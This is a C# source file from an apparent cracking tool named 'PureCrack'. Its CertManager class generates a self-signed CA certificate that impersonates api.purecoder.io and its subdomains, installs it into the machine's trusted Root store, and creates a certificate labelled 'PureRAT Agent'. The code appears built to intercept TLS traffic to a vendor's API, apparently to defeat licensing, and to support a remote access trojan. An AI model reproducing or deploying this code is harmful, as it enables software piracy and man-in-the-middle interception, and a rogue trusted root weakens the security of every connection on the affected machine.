using System; using System.IO; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using PureCrack.Util; namespace PureCrack.Setup; public static class CertManager { private static readonly TimeSpan ValidityWindow = TimeSpan.FromDays(3650.0); private static readonly TimeSpan RegenIfWithin = TimeSpan.FromDays(30.0); public static string RelayPfxPath => Path.Combine(Workspace.DataDir, "relay.pfx"); public static string AgentPfxPath => Path.Combine(Workspace.DataDir, "agent.pfx"); public static X509Certificate2 EnsureRelayCert() { X509Certificate2 x509Certificate = LoadIfFresh(RelayPfxPath, "relay cert"); if (x509Certificate != null) { return x509Certificate; } Log.Info("relay cert: generating self-signed SAN cert"); using RSA key = RSA.Create(2048); CertificateRequest certificateRequest = new CertificateRequest("CN=api.purecoder.io, O=PureCrack, OU=Relay", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); SubjectAlternativeNameBuilder subjectAlternativeNameBuilder = new SubjectAlternativeNameBuilder(); subjectAlternativeNameBuilder.AddDnsName("api.purecoder.io"); subjectAlternativeNameBuilder.AddDnsName("api1.purecoder.io"); subjectAlternativeNameBuilder.AddDnsName("api2.purecoder.io"); subjectAlternativeNameBuilder.AddDnsName("*.purecoder.io"); certificateRequest.CertificateExtensions.Add(subjectAlternativeNameBuilder.Build()); certificateRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(certificateAuthority: true, hasPathLengthConstraint: false, 0, critical: true)); certificateRequest.CertificateExtensions.Add(new X509KeyUsageExtension(X509KeyUsageFlags.KeyCertSign | X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: true)); byte[] array = certificateRequest.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)).Export(X509ContentType.Pfx, ""); File.WriteAllBytes(RelayPfxPath, array); Log.Ok($"relay cert: written to {RelayPfxPath} ({array.Length:N0}b)"); X509Certificate2 x509Certificate2 = new X509Certificate2(array, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); InstallToRoot(x509Certificate2); return x509Certificate2; } public static byte[] EnsureAgentCertPfxBytes() { if (File.Exists(AgentPfxPath)) { try { X509Certificate2 x509Certificate = new X509Certificate2(AgentPfxPath, ""); if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) { Log.Info($"agent cert: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd})"); return File.ReadAllBytes(AgentPfxPath); } TimeSpan regenIfWithin = RegenIfWithin; Log.Warn($"agent cert: expires within {regenIfWithin.TotalDays:0} days, regenerating"); } catch (Exception ex) { Log.Warn("agent cert: existing PFX unreadable, regenerating (" + ex.Message + ")"); } } Log.Info("agent cert: generating self-signed PureRAT Agent cert"); using RSA key = RSA.Create(2048); using X509Certificate2 x509Certificate2 = new CertificateRequest("CN=PureRAT Agent", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1).CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)); byte[] array = x509Certificate2.Export(X509ContentType.Pfx, ""); File.WriteAllBytes(AgentPfxPath, array); Log.Ok($"agent cert: written to {AgentPfxPath} ({array.Length:N0}b)"); return array; } public static void Wipe() { string[] array = new string[2] { RelayPfxPath, AgentPfxPath }; foreach (string text in array) { if (File.Exists(text)) { File.Delete(text); Log.Bullet("cert: removed " + text); } } } private static X509Certificate2? LoadIfFresh(string pfxPath, string label) { if (!File.Exists(pfxPath)) { return null; } try { X509Certificate2 x509Certificate = new X509Certificate2(pfxPath, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) { Log.Info($"{label}: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd}, " + "thumbprint " + x509Certificate.Thumbprint.Substring(0, 12) + "…)"); return x509Certificate; } TimeSpan regenIfWithin = RegenIfWithin; Log.Warn($"{label}: expires within {regenIfWithin.TotalDays:0} days, regenerating"); return null; } catch (Exception ex) { Log.Warn(label + ": existing PFX unreadable, regenerating (" + ex.Message + ")"); return null; } } private static void InstallToRoot(X509Certificate2 cert) { try { using X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); x509Store.Open(OpenFlags.ReadWrite); X509Certificate2Enumerator enumerator = x509Store.Certificates.Find(X509FindType.FindBySubjectDistinguishedName, cert.SubjectName.Name, validOnly: false).GetEnumerator(); while (enumerator.MoveNext()) { X509Certificate2 current = enumerator.Current; if (!(current.Thumbprint == cert.Thumbprint) && current.NotAfter < DateTime.UtcNow.AddYears(1)) { x509Store.Remove(current); Log.Bullet("relay cert: pruned stale Root entry (thumbprint " + current.Thumbprint.Substring(0, 12) + "…)"); } } x509Store.Add(cert); x509Store.Close(); Log.Ok("relay cert: installed in LocalMachine\\Root (thumbprint " + cert.Thumbprint.Substring(0, 12) + "…)"); } catch (Exception ex) { Log.Err("relay cert: failed to install to Root store: " + ex.Message); throw; } } }